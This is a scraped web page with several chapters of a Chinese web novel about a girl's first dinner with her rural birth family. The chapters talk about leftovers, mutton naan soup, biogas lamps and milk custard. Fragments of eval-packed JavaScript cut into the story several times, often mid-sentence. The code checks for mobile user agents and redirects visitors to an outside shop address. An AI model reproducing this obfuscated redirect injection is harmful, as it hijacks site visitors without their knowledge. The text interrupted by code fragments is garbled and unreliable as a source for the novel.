p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376561|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“如果‘剩饭’指的是这种的话,那倒是可以的……”黎芝有些困惑地说道,“但如果是这种‘剩饭’的话,我认为应该属于一种‘新做的饭’了吧。” “你是这样分类的啊……”余庆想了想又说道,“那我换个例子,比如说,‘“小豆腐”热三遍,给肉都不换’对吧。这种‘剩饭’又如何呢?” “‘小豆腐’是什么?”黎芝听得一头雾水,她说道,“我只知道‘大豆腐’‘南豆腐’‘北豆腐’而已。‘小豆腐’的话,难道……是‘豆腐脑’在‘辉山’这边的叫法吗?” “原来你没吃过‘小豆腐’啊……这倒是不好形容、描述了。”余庆说道,“下次做给你吃,你就知道了。” “……嗯。”虽然黎芝对余庆的回答很不满意,但也只能乖巧点头。 “‘小豆腐’是‘豆面子’做的食物。”在一旁半天没有说话的父亲栗原,这时却突然说道,“是一种用剁碎的蔬菜和豆面子一起熬制的东西。熬好之后,浇上些调料汤汁就可以吃了。连菜带饭都有了,很方便省事。” “噢噢噢。原来是这种东西啊……”听了父亲的描述,黎芝其实还是不知道那是什么东西。 (听起来怎么像是一种“黑暗料理”呀?) (这种东西真的会好吃吗?) (“大辉山”这里的人的生活方式,和京城差得还真远呢……) “那个……所以这个东西,越‘热’越好吃吗?”黎芝忍不住笨拙地问道。 虽然,从语境上也能知道,“热”在这里是“加热”的意思,而不是“温度高”的意思。 但在黎芝的感觉里,如果“热饭”指的不是“热米饭”而是“加热剩饭”的话,这种语法果然还是有些别扭呢。 结果,回答黎芝的人,依然还是父亲栗原。 “还是新的好吃。”栗原说道,“什么‘热三遍,给肉都不换’这种话都是糊弄人的。有‘新饭’的话,谁吃‘剩饭’啊!” (啊,这……) (这就给我“整不会”了……) 黎芝过去的生活中,根本不认识关东人。 但由于父亲说的那番话、与母亲之前的发言明显抵触的缘故,使得她受到了刺激,莫名其妙冒出了一句“关东话”来。 余庆听了栗原的话,并不感到尴尬难堪,反而哈哈大笑了起来。 “你怎么不给我台阶下呢?”过了一会儿,停止大笑的余庆说道,“你这样拆台的话,多影响我的威信啊。这让我怎么教育孩子呢?” “但你说的就不对啊!”栗原认真地说道,“‘剩饭’就是没‘新饭’好吃呀!而且,‘小豆腐’这玩意,本来也不是什么好吃的东西吧?被你说的如同‘山珍海味’一般,这有利于教育孩子吗?如果她以后吃到‘小豆腐’,发现一点儿都不好吃的话,那时你就有‘威信’吗?” 余庆笑了。 栗原没笑。 当然,梨花与黎芝也没有笑。 20. 第 20 章 黎芝虽然没有笑,但她的心中却是百感交集。 (这就是我的血亲们吗?) (感觉真不可思议。他们竟然会哈哈大笑,或是为这种鸡毛蒜皮的事情吵架……) (虽然因为这种奇怪的事情都能吵架,可是……我还是觉得他们的感情很好。) 黎芝不由得,莫名其妙地、有些羡慕起“这家人”来了。 (不对,我为什么要羡慕他们呢?) (眼前的这一家人,本来不就是“我自己的家人”吗?) 这确实是,黎芝还没有融入这个家庭的心态表现了。 明明知道对方是自己的血亲,但还是有种在不认识的远亲家里寄居的诡异感觉。 其实,明明和之前收养自己的家庭,感情也没有多么深厚。 但不知道为什么,在黎芝的潜意识里,还是觉得黎家是“自己家”,而面前的栗家一家人则是“认识的别人家”。 这种感觉,真的很错位。 而且,也很诡异。 黎芝不知道要怎么做才能消除这种诡异的错位感觉。 算了,毕竟才第一天认识彼此而已,慢慢来吧。 “我去‘盛饭’了!”余庆有些简单粗暴地说道,然后她转身就离开了。 不知道为什么,余庆在嘴上说的是“盛饭”,但却没有做出“拿着几个人的碗去盛饭”的行为。 应该,做的本来就不是米饭吧,但为什么要称之为“盛饭”呢? 莫非是因为,在这家人的习惯里,菜之外的所有东西,都可以统称为“饭”吗? 习惯与思想的分歧,还真是令人忧郁。 鉴于之前明明跟余庆讨论过“剩饭”的问题,结果还是知道了“这个家里不能完全不吃剩饭”的信息,对这顿晚饭,黎芝其实没有什么期待。 (不过……妈妈不是说她跟别人家要了三斤羊肉吗?所以,晚上的这顿饭,吃的应该是羊肉吧?) (牧场上的羊肉,会比京城吃到的羊肉,更美味可口吗?) 想到类似的传闻,黎芝又不由得抱有了淡淡的期待。 但还是不要期待比较好。 根据黎芝的经验,每次如果期待些什么事情的话,最后难免会失望的。 还不如对未来不加以任何期待,顺其自然,到时怎样就怎样应对比较好。 黎芝就是这么一个“防御性悲观主义者”。 黎芝在之前抱有的,好奇、期待与担忧的心情,终于在余庆“盛饭”归来的时候,彻底发生了变化。 (这算什么“盛饭”啊?) (这不根本就是……直接把“锅”都端来了吗?) 看到这样的情况,黎芝不由得有些惊诧。 直接把锅端上来、在桌上对着锅吃饭这种事情,黎芝以前也不是没有见过。 至少,吃“火锅”的时候,大家也都是对着锅吃的。 但是,这只是一口大大的铁锅啊…… 在桌子的正中央位置,放了一个扁平的金属圆盘,并非银制品。 之前,黎芝一直在想它的作用是什么,她想了很久都没有想清楚。 直到现在才明白,这个圆盘的作用是“隔热”。 也就是说,如果锅直接“坐”在桌子上的话,会把桌子烫坏,它是为了防止这样的麻烦事态发生的工具,仅此而已。 从造型上看,这口锅里装着的食物,大概是一种“汤类”或“炖菜”吧? “好香啊……”黎芝这么说道。 这么称赞,虽然是出于一贯的礼貌习惯,但并非只是客套,她确实闻到了锅里传来的浓浓香气。 当余庆掀开锅盖的时候,黎芝才看清了锅里的东西。 那应该是一种“羊肉汤”吧? 但里面不只有羊肉等熬汤的常见材料,还有大量的金黄色块状物体。 “妈妈,这是什么啊?”黎芝实在看不懂,便询问道。 羊肉汤里,黎芝可以看到的有羊肉块、粉丝、香菜、葱花、难以判断原本是蒜苗还是韭菜的绿色小段,以及看起来是某种面食的金黄色块状物体。 “羊肉泡馕哦。”余庆轻描淡写而又得意洋洋地说道,“今天放的羊肉可多了,一共三斤呢。我全都放进去了,快尝尝合不合口味吧。” (“三斤羊肉”是多少啊?) 黎芝对这方面的数量,其实没有什么概念可以。 但是,这锅里的肉块和肉片实在是相当不少,这一点她还是看得出来的。 (话说回来,“羊肉泡馕”是什么啊?是“羊肉泡馍”的衍生进化版吗?) 黎芝沉默地思索着。 锅里斜斜地插着一个手柄很长的大勺子。 这似乎是公用餐具,想开始或继续吃的人,用勺子把锅里的东西盛到碗里就行了。 余庆第一个拿起勺子,给自己盛了所谓的“羊肉泡馕”。 其次则是栗原,他也给自己盛了满满一大碗的“羊肉泡馕”。 黎芝本来以为余庆会给女儿盛一碗的,但余庆并没有行动,而是自己吃了起来。 倒是一旁的梨花眼巴巴地看着黎芝,她有点可怜巴巴的目光,让原本没在看梨花的黎芝都注意到了。 黎芝这才明白,这里的民风虽然看上去自由奔放,但似乎也不是完全没有长幼之别,只是相对京城来说没有那么明显而已。 比如说,比自己小的梨花,就不好意思在黎芝发呆的时候,自己拿起勺子盛那个“羊肉泡馕”。 她只能看着黎芝不吭声,指望黎芝快点盛完,这样梨花才能去盛。 这也有一些坑呢。 毕竟,黎芝不太擅长弄明白别人的暗示。 (话说回来,为什么是从长到幼?梨花年纪比我小,不是更应该照顾她吗?) 黎芝困惑地思忖着这个问题。 如果不是之前余庆、栗原,依序拿了勺子盛饭的话,黎芝可能还真想不到,可以这样简单地吃晚饭的。 这是因为完全不了解“大辉山”附近的生活习惯的缘故。 在黎芝的想象中,吃饭步骤应该更复杂一些才对。 其实,在最初,黎芝还幻想过,牧民的进餐步骤到底是怎样的? 比如说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376562|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餐前会不会向某些原始神明祈祷?之类的想法,黎芝在路上是有过很多幻想的。 没想到,结果完全出乎意料。 最有趣、或者说最出乎意料的事情,是长幼有序的同时,余庆却在栗原之前,自顾自地盛饭吃饭。这让黎芝感到很新奇。 既然余庆可以在栗原之前擅自盛饭吃饭,那么,要么这里男女相对来说是平等的,余庆可能是这个家的真正“家长”;要么,这个家根本没有什么真正的规矩可言,栗原也好余庆也好,谁都是可以优先拿起勺子盛自己的饭的人。 至于梨花为什么不是这样,大概是因为她的年纪比较小吧?抑或是,作为遗孤,受到的打击有点大,不能正常表达自我了吧?有机会的时候可以问问看,确认梨花到底是怎么回事。 梨花其实不算是“楚楚可怜”的那种小妹妹。她会有“眼巴巴地看着黎芝”这种行为,大概是因为之前的生活经历,让她有点畏畏缩缩的、喜欢讨好别人吧? 这可不是什么好事,黎芝下定决心要改变这一点。 分析餐前众人的行为时,黎芝得出的结论,大概就是这样的。 那么,现在先不想这个了,真的开饭吧。 黎芝也毫不淑女地盛了一大碗羊肉泡馕。 然后,当她注意到自己的这一行为时,忽然觉得有种荒诞不经的感觉。 会这么做,简直不像黎芝了。 (这里的人吃饭,还真随意呢……我是被他们“传染”了吗?) (不过,这种感觉,我并不讨厌……) 这么“粗野”“不讲规矩”的家庭,让黎芝感到格外亲切与惊奇。 黎芝盛完之后,流露出有些畏怯态度的梨花,才用勺子盛了自己的那份,坐下吃了起来。 确认了梨花已经开始吃饭之后,黎芝就转开了目光,她现在不太有关心别人的心思。 不知为什么,黎芝出神了,只是盯着碗里的“羊肉泡馕”而已,她就这样发呆了很久。 “羊肉泡馍”的话,在好多年前好像吃过。 (“馕”是可以用来泡的吗?) 黎芝不太清楚,今天之前,她甚至连“馕”这种东西都没有吃过。 这种外型与质感都很独特的烤面饼,让黎芝的内心充满新奇的期待。 回过神来,黎芝才发现自己居然一直在发呆。 (再这样拖下去就会变冷了……先尝尝吧。) 用银汤匙挖起一大匙之后,黎芝轻轻吹了几口,然后小心翼翼地放进了嘴里。 “羊肉泡馕”的味道,让黎芝一时陷入了沉默。 然后…… “好好吃啊!”黎芝用简直堪称感动的声音说道,“我第一次吃到这种东西呢!” “你喜欢就好。”在吃饭之余,余庆抽空说道,“虽然我之前提到了‘剩饭’这个词,似乎让你不太高兴。但你现在看到的‘羊肉泡馕’,绝对不属于一般意义上的‘剩饭’吧?我就是没把这种东西也算成‘剩饭’,才会说我们都不吃‘剩饭’的。” “是的,这确实不属于‘剩饭’。”黎芝很有些安心地说道。 21. 第 21 章 黎芝想了想,又补充了一句话:“比我想象中好吃得多了。” “对吧。不是所有的‘剩饭’都是‘剩饭’啦。”余庆很哲学性地说道,“话说回来……现在,我们家里没有‘馕’了喏。之前剩下的所有馕,都用来煮这个‘羊肉泡馕’了呢。只能明天抽时间,设法烤一些了。” “明天就有新鲜的‘馕’可以吃了吗?真棒呢。”黎芝充满期待地说道,“‘馕’是一种看起来就很美味,吃起来想必也很好吃的食物吧。我也很向往。下次让我尝尝新鲜的‘馕’吧?” “我知道了。明天烤出来的时候,就让你先尝尝吧!”余庆说道,“看着好吃,不一定真的好吃。大概要等到你吃了之后,才能评价是不是真的适合你的口味吧。” “太好了,妈妈。我很期待。”黎芝深深吸气,同时继续用银制汤匙把碗里的羊肉汤送进嘴里。 那是一种很独特、清淡的香味。 原本以为应该存在的羊肉膻味,竟然几乎尝不出来。 羊肉汤里甚至有一种清甜的味道,令人感到很神奇。 虽然是羊肉熬制的浓汤,却简直一点儿也不油腻。与那相反,甚至算得上清淡爽口。 并没有像黎芝熟悉的那样,放醋或是辣椒之类的调料,刻意去掩盖某些不好的味道。 这种汤的滋味仿佛就只加了盐一样自然温润。 羊肉的形状,是指甲一般薄的薄片与少许色子般大小的方块,几乎是肥瘦各半。 并不是说肉片像五花肉一样一半一半,而是肥羊肉与瘦羊肉的肉块与肉片一半一半,肥瘦比例非常分明。 虽然,有的羊肉片或块完全就是纯肥肉而已,但吃起来并不油腻。相反,竟然还很清爽、有一种入口即化的错觉。 而纯瘦肉的羊肉,也并没有什么“柴”的感觉,而是柔软滋润的。 虽然谈不上细腻爽滑,但总觉得格外香醇。尽管不算有嚼头,但这样反而更符合黎芝的喜好。 无论是肥肉还是瘦肉,口感非常柔和软烂,感觉再煮一会儿的话,就要完全散架了一般。 翻动时,可以发现汤里还有一些“粉丝”。这种东西,黎芝曾经是讨厌的。 不知道为什么,黎芝总是有些受不了人工制作的“淀粉类食物”,比如“粉皮”。而“粉丝”或是“粉条”,当然也在其中。 不过,米和面这种“淀粉类食物”,基本上是避不开的。 因此黎芝也无法避开这个食物的大类,想通了的话,即使是讨厌的“淀粉类食物”,黎芝也能面不改色地吃下去。 但是,黎芝没有想到的是,有一天自己竟然会觉得“粉丝”好吃。 羊肉泡馕汤里的这种“粉丝”,吃起来完全不是那种常见的软面的口感,而是清爽且充满弹性的感觉。 到底是这里的“粉丝”比较特别,还是家里人的厨艺好到可以让“粉丝”变成美味呢?黎芝很难弄清楚。 但总之,即使这汤里放了黎芝讨厌的“粉丝”,也没有减弱、反而是增加了黎芝对它的好感,这是实情。 “羊肉泡馕”里面的“馕”是切碎的,看上去金黄焦脆,像是油炸出来的面块。 但咬上一下,黎芝才发现那是发酵过的烤面饼。 它明明充满了汤汁,但竟然还略有一点硬,口感相当奇妙。 咀嚼时,可以感受到那种吸收了大量汤汁的孔洞感,但仍然很有嚼头。 没有那种被汤水泡烂的感觉,只是很香甜厚实,这种陌生的口感,让黎芝非常喜欢。 香菜倒是放的不多,可能是这里比较缺少蔬菜、因而使得香菜更为昂贵的缘故吧。 但它那清香的味道,却让黎芝仿佛幻视到茫茫灰雾中、一抹鲜丽明亮的颜色。 香菜加在这汤里的效果,简直令人神清气爽、精神一振。 虽然香菜的数量不多,不过,葱花放的却很不少。 葱花吃起来还很脆硬,而且辛辣。那是只把葱花切成指甲大小的碎块之后,在临关火之前,稍微用汤烫一下的口感与味道。 翠绿鲜嫩的蒜苗,不仅色泽美丽,而且提鲜效果十分出色,非常适合放在这种汤里增添光彩。 最令人印象深刻的,是汤中的香辛料。 由于那胡椒粉特有的辛辣味道,黎芝可以猜出汤里面放了大量胡椒粉。 除此之外,应该还放了别的香辛料粉末吧?但黎芝不太熟悉,就不能分析与描述了。 总而言之,非常美味。 这是,让黎芝足以对开始生活在“大辉山”的未来,充满期待的一顿晚餐。 能吃到这样的一餐,实在让黎芝很开心。 黎芝吃下第一碗之后,其实就已经有些饱了。 但想到下一次吃到这么好吃的食物,还不一定是什么时候,黎芝就忍不住又吃了一碗。 虽然感觉上实在很撑,但黎芝对此毫不后悔。 “你觉得,这个‘羊肉泡馕’的味道怎么样?”余庆问道,“只吃这两碗的话,能吃饱吗?” (也许不该吃这么多的……妈妈是不是以为我是“饭桶”啊?) “当然饱了!”为了不被视为“饭桶”,黎芝有些慌张地点了点头,说道,“真的很香啊……在我吃过的东西里,也是令人印象深刻的美味吧。” “你能喜欢它,就最好不过了。”余庆微笑了起来,她说道,“之前,我还很担心,你作为一个大小姐,吃不下牧场附近出产的食物呢。” “不会啦不会啦。”黎芝用力摇了摇头,坚定地说道,“只要不是‘剩饭’的话,基本上我都能吃得很香。但其实,‘剩饭’也是能吃的啦……” “我很担心你挑食。”余庆如释重负一般地说道,“既然不挑食我就放心了。不挑食的孩子,是很容易养活的。” “不同于一般的大小姐,我本来就不怎么挑食的……”黎芝说道,“这可能是因为,我的真实身份是‘牧民的女儿’吧。对了……” 黎芝看向了头顶的天花板位置。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376563|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 之前,她都已经欲言又止、止言又欲、沉吟良久,想说半天了。 “这个东西……到底是什么啊?”指着天花板上某处,黎芝疑惑地问道,“我觉得,这应该是一种灯吧?但到底是什么灯呢?看起来好新奇啊,我在京城都没有看到过呢!” 黎芝所说的“这个东西”,确实是一种非常全新、非常新颖、非常罕见的东西。 它应该是一种“灯”类的物品,黎芝对它的这个设想应该没错。 但哪有“灯”是能悬挂在人的头顶上燃烧的呢?太不符合常识了。 而且,这种“灯”也非常明亮。 比起京城的蜡烛、油灯来,它简直明亮了不知道多少倍似的。 “亮如白昼”,固然是夸张的描述。 但这样亮度的灯光,用来读书写字的时候,应该都近乎毫无困难吧? 这种明亮的灯光,仅仅是存在,就让黎芝感到非常惊奇。 “这个东西叫‘沼气灯’啦。”余庆想了一会儿,才大概知道如何解答黎芝的问题,“京城没有它的缘故,应该是因为京城太‘干净’了,没办法建立‘沼气池’的关系吧。” “太干净了?”素有洁癖的黎芝,听到“干净”这个词就会有剧烈的反应。 余庆说京城“太干净了”,这到底是什么意思呢?实在让黎芝感到很不安。 余庆的言外之意,难道是说,“大辉山”很“不干净”吗? 到底是什么东西“不干净”啊?黎芝可是很害怕这种事的。 不过,黎芝害怕的,确实不是“鬼”,而是字面意义上的“脏东西”。 “咳咳……”栗原咳嗽了一声,很不自然地说道,“你还是不要知道比较好啦。” “不要知道比较好?为什么啊?”黎芝困惑地问道。 父亲与母亲所说的,到底是什么意思?黎芝依然不太明白。 “你知道‘沼气’是什么意思吗?”余庆问道。 “不知道。”黎芝心虚地说道,“这个……上学没学……” “这个都没学啊?”余庆很失望地说道,“我还以为这是很重要的知识,一般人都知道呢。” “嗯……我想,可能是因为,这听起来是‘农学’方面的知识吧。”黎芝有点狼狈地说道,“我只是一个普通的学生。上学时学的内容,与‘农学’关系不是很大,所以不知道……” “你不是说自己很擅长‘种植花草’吗?”余庆困惑地说道,“难道我理解错了?你说的‘花草’只是一种比喻而已,实际上种植的是别的什么东西?” (我还能种植别的什么东西啊……总觉得妈妈的构思有些瘆人,是错觉吗?) “还……还好吧?‘种植花草’这回事,我确实还比较擅长的。”黎芝无奈地说道,“但是,‘花草’并不是‘农学’的范畴啊。完全没学过‘农学’知识的人,也能‘种植花草’的。” “真可惜。”余庆叹气,说道,“‘沼气’可是很重要的东西呢。” 22. 第 22 章 虽然不太明白家人们所说的到底是什么东西,但黎芝当然是相信母亲所说的话的。 “很重要吗?”黎芝点点头,茫然道,“好像确实很厉害。看上去,这东西明明什么都没有,却能点燃明亮的灯火,真的很厉害。” “‘沼气’这个东西,不只能点灯哦,荔枝姐。”一旁的梨花忍不住插嘴说道,“‘沼气’还能做饭呢。我们这里,烧火用的燃料,并不是木柴,更不是牛粪哦。荔枝姐,你发现这一点了吗?” “啊?真的吗?”黎芝惊讶地说道,“果然……这里不是用木柴烧火的啊。” 虽然黎芝对于“沼气”是什么东西还几乎一无所知,但知道家里是用“沼气”做饭的时候,黎芝确实对此也感到非常合理。 这可以说是“情理之中,意料之外”的答案了。 一开始待在“草房子”那里的时候,黎芝就在思考“燃料”这件事了。 来到“食堂”这里的时候,黎芝心中的疑惑与违和感,更是达到了巅峰。 她总觉得,这里无论用什么燃料,都显得有点不太自然。 哪里都看不到木柴啊。 如果说,作为“民宿”的“草屋”那一带,因为房屋易燃,所以干脆不点火的话,还能理解,木柴不存在的原因。 但在“瓦房”这里,也没有看到“木柴”的存在,就让黎芝感到很奇怪、以至于难以忽视了。 黎芝的注意力,也不由得自然地转到了“燃料”的问题上。 这里既然是牧场的话,意味着到处都是草一类的东西,也许是焚烧干草或秸秆来代替木柴的吧?之前,黎芝是这么觉得的。 虽然,黎芝一直也没有看到在哪里存放着干草或秸秆之类的东西就是了。 在常识上,自己的假设算是合理的;但感觉上,黎芝却无法说服自己相信这种假设。 这种假设,到底是哪里出了毛病呢? 听了梨花的话,黎芝才终于弄明白了问题所在。 并且,因为增长了见识的缘故,黎芝还感到很开心。 “所以……‘沼气’还能做饭吗?”不知不觉地、对这个陌生的词语,黎芝变得肃然起敬起来。 “是啊,‘沼气’可好了呢。”梨花有些骄傲地说着令人有些困惑的话语。 “这样啊,好厉害。”黎芝懵懵懂懂地跟着点头。 事到如今,黎芝依然不知道“沼气”是什么东西。 但是,这并不妨碍她对这个自己不清楚的词汇,感到敬畏与好奇。 (所以,你们谁来教教我,“沼气”到底是什么东西啊……) 黎芝在心里焦躁地抱怨着。 “那确实是极好的东西呢。”栗原说道,“取暖做饭的时候,再也不用捡柴火或是捡树枝枯草了。捡燃料这些事情,实在十分浪费时间精力。幸好,有了‘沼气’之后,即使什么都不做,只待在家里,也能自然有源源不断的燃料产生。还不用花钱,真是太幸福了。” “所以,听起来……那个‘沼气’,是一种‘气体’?”黎芝好奇地问道,“‘气体’也能燃烧吗?” 固然,黎芝是对农学一无所知的城里人。 但是,她仅仅凭着对话中的只言片语,就分析到这个程度,其实也很不错了。 不过,母亲似乎并不认为“这样也很不错了”呢。 “你这孩子……是真的没上过学,还是学校都不教这个啊?”余庆很惊讶地说道,“‘沼气’这种‘可燃气体’的概念,应该是常识性的知识啊。虽然,这种气体在一定规模下推广应用,是近年的事情……但是至少在‘概念’方面,应该知道它是什么东西,不该如此无知的。” 莫名地受到了来自母亲的教训,黎芝的脸又红了起来。 (这好像……真的是很丢人的事情。) 黎芝又一次相信了母亲的话。 “沼气”是不是常识?这一点,且不说吧。 单单就说,在京城上学的富家大小姐,不知道连牧民都知道的生活常识这一点,感觉就很丢脸了。 不过,也许只有黎芝,会因为这种事情感到丢脸。 她明明自知并非是无所不知的博学之士,却在普通人面前暴露出无知一面的时候,依然会感到无地自容。 在羞愧的同时,黎芝还会拼命在脑子里分析,自己在知识上比不过别人的原因。 (难道是因为……大夏在基础性的教育推广方面,做的太出色了吗?) (这确实是一件好事啦。) 黎芝原本悲观地以为,自己的家人都是些没有知识文化、更不懂情调的乡下人。 但一来“大辉山”,黎芝就被上了一课,她也因此意识到了自己的无知程度。 虽然家人并没有刁难或是嘲讽黎芝的意思,但黎芝还是会暗暗因此感到难堪。 尽管如此,但难堪之余,黎芝还是很开心的。 自己拥有一些“聪明的家人”这件事所能带来的快乐,足以抵消黎芝发现自己无知所导致的沮丧。 这已经足够了。 “她以前毕竟只是富家小姐嘛,不知道挺正常的吧。”栗原宽容地摇摇头,对黎芝说道,“那么,你知道,在沼泽地里,会有气泡从沼泽里冒出来,在附近放上明火的话,冒出来的那些气体就能点燃这件事吗?” 什么啊……父亲的描述让黎芝感到匪夷所思。 虽然听起来非常逼真,但仍然让她感到极为不可思议,就像在听《天方夜谭》似的。 “不知道啊。”黎芝的思考变得有点混乱,她目瞪口呆地说道,“说真的。其实,我从来没见过‘沼泽地’呢。那是什么样子,我想象不出。今天,我还是第一次知道,‘沼泽地’里会冒出气体这回事呢……” “唉,那就没办法了。不知道,也不怪你。”栗原苦笑着说道,“‘沼气’就是‘沼泽地’里冒出来的气体。后来大家经过研究,找到了在自己家发酵、制造出这种气体的方法。推广到千家万户之后,我们就能用这个做饭、取暖和照明啦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376564|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不仅是免费的燃料,还是一种‘清洁能源’。虽然,味道可能不太好……但点燃之后,‘沼气’不会冒出污染空气的、呛人的黑烟,更不会在焚烧过度的时候使得空气变得灰蒙蒙的。而且,‘沼气’的原材料,都是无用的废物,是真正的‘废物利用’。最后,剩余的废料还能用来施肥,实在是非常理想的燃料了。” (如果父亲所说的话,都是真实描述的话,那么,“沼气”这种东西,也太厉害了吧?) (完全就是……“完美的物质”了嘛。) (生在这一代的人,能接触到这种完美的事物,真是太幸福了。) 黎芝在心中产生了奇妙的感叹。 “啊……这个是真的好厉害……”不过,脑子里虽然非常崇拜,但在嘴上,黎芝却只能笨拙地说道,“沼气不呛人吗?那可真好……” “不呛人,不冒黑烟,不过味道也不怎么样。这些都是真的哦。”栗原笑道,“以后有机会的话,你也可以试试用这个来做饭,感觉应该会是很奇妙的体验吧。” “嗯,我知道啦。谢谢爸爸。”黎芝懵懵懂懂地回答道。 她只觉得,“沼气”似乎是一种很神圣的东西。 甚至,连能灵活运用“沼气”的自己父母,黎芝也莫名其妙地、非常崇拜起来了。 “沼气”的话题告一段落之后,大家依然吃着晚餐。 晚饭之后,居然还有一道类似“甜点”的小吃。 余庆在厨房里,把这道小吃端了出来。 端出这个的时候,余庆用了一个很大的长方形“托盘”。 木制的“托盘”上面,排列着四个白瓷碗。 由于碗太多了,余庆只能用“托盘”才能一口气端出来。 端上桌之后,每人一碗,大家分享了这道小吃。 黎芝看向了自己面前的这道小吃。 看上去,这是用掌心大的白瓷碗蒸出来的,一种类似“鸡蛋羹”的东西吧。 与“鸡蛋羹”有点不一样的是,“鸡蛋羹”通常都是黄色的。而这种白瓷碗里面的冻状物质,却是十分洁白、亮丽。 “这是什么?”黎芝好奇地问道,“看上去有点像‘鸡蛋羹’但颜色不一样,难道是一种颜色特殊的蛋类做的‘鸡蛋羹’吗?” “这是‘奶冻’。”梨花刚开口,就又似乎觉得冒昧与害羞,便不再说话了。 “‘奶冻’是什么意思?”听梨花说到一半停了,黎芝觉得很憋闷,她抱怨着说道,“你倒是说完啊!” “那、那个……好像不该我说的……”梨花像是很害怕似的抿紧了嘴,依然不说话了。 这可让黎芝觉得更加憋闷了。 竟然会把梨花吓得不敢开口?自己看起来很可怕吗? “梨花有点‘怕生’吧。”栗原说道,“梨花看起来,虽然是很活泼外向的样子。但其实,她的情绪,只有在熟人面前才能保持稳定的。” “……怕生?”黎芝茫然地重复了父亲说出的那两个字。 23. 第 23 章 “是的,梨花在陌生人面前的时候,一般都会变得十分羞怯怕生。”栗原神色平静,耐心地说道,“刚才,她应该就只是、突然又犯了‘怕生’这个毛病,所以不能说话了而已。习惯就好,你不要太介意啦。之前那自然讲话的模样,才是‘异常’的状态呢。” “原来她‘怕生’啊……”黎芝又重复了一遍。 思考着这件事,黎芝微微皱起眉头,她感到有些困惑。 (她是因为很希望讨好我的关系,才会主动努力说话吗?) (但是,又因为她太怕生了的缘故,所以,试图讨好我的行为,显得也十分不自然……) (而且,最后给人的感觉也是奇奇怪怪的……) 虽然梨花刚才的表现确实怪异,但黎芝倒是真心相信了父亲的话。 梨花的确是基于“怕生”,而不是基于什么类似耍心机之类的原因,才不再说话的这一点,即使栗原不予以总结,黎芝也快要注意到了。 从气质与神态就能看出来,梨花的性格有一种奇异、罕有的单纯感,和常见的那种爱装单纯却并不单纯的人是不一样的。 具体怎么个不一样,黎芝倒是描述不来。 由于梨花这种性格比较罕见的缘故,黎芝也缺乏对其形容、描述、概括的词汇。 但尽管她嘴上说不明白,在眼里心里却是一眼就能明白的。 因此,梨花的这种怕生,反而让黎芝产生了类似怜爱的感情。 以前,黎芝真的是从来没有当过姐姐的经验。 因此这种感情,对黎芝来说是陌生的。 黎芝甚至分不清楚,这种心情到底是对妹妹的疼爱,还是对单纯之人的保护欲了。不过,其实这种感情到底是怎么回事,也没有那么重要就是了。 对梨花来说,这种被怜爱被关注的感受,是否也是陌生的呢? 黎芝并不知道,而且她也不再关心这一点了。 总而言之,先吃东西吧。 “所以……‘奶冻’到底是什么啊?”黎芝嘟囔道,“我只听说过肉冻鱼冻皮冻等等,奶这种东西也能结成冻吗?” “‘奶冻’就是个名字而已,其实是用牛奶代替水的‘鸡蛋羹’啦。”黎芝较真的性格,让余庆无奈地说道,“其实,这都不需要听人解释的啊?只要你尝一尝,马上就能感觉出来了,刨根问底才是多此一举呢。” 不知是否与草原上的牛奶足够丰富有关,这种“鸡蛋羹”的做法,黎芝确实第一次听说。 “牛奶代替水?”黎芝试探着说道,“妈妈的意思是说……‘鸡蛋羹’是用水来调稀薄鸡蛋,而‘奶冻’是用牛奶来调稀薄鸡蛋,是这个做法吗?” 虽然用牛奶来代替水,应该会变得更有营养吧,但会不会有点太腻太膻了? 自己真能吃得惯吗?黎芝突然对此有些担心了起来。 “是的,就是这个意思。”余庆说道,“你尝尝就知道了。味道应该很不错,第一次吃的人也基本都给予了好评哦。” “我明白了。那……我就试试吧。”对味道多少抱有一些不安心,黎芝半信半疑地用汤匙挖了一口。 这一匙“奶冻”含在嘴里的时候,黎芝呆住了。 没有咀嚼。没有吞咽。没有评价。 甚至,连银汤匙都只是刚刚从嘴里拿出来,就失神地捏在了手上。 过了一会儿,黎芝把那“奶冻”咽下去的时候,才回过神来。 要说这“奶冻”有多么山珍海味、美味绝伦,那倒也不是。 它只是带有一种“入口即化”的奇妙口感。 这种口感,让黎芝感到陌生,不由自主想要仔细去品味那种感觉而已。 如余庆所说的那样,“奶冻”吃起来的感觉,和做法相近的鸡蛋羹口感倒也非常相似。 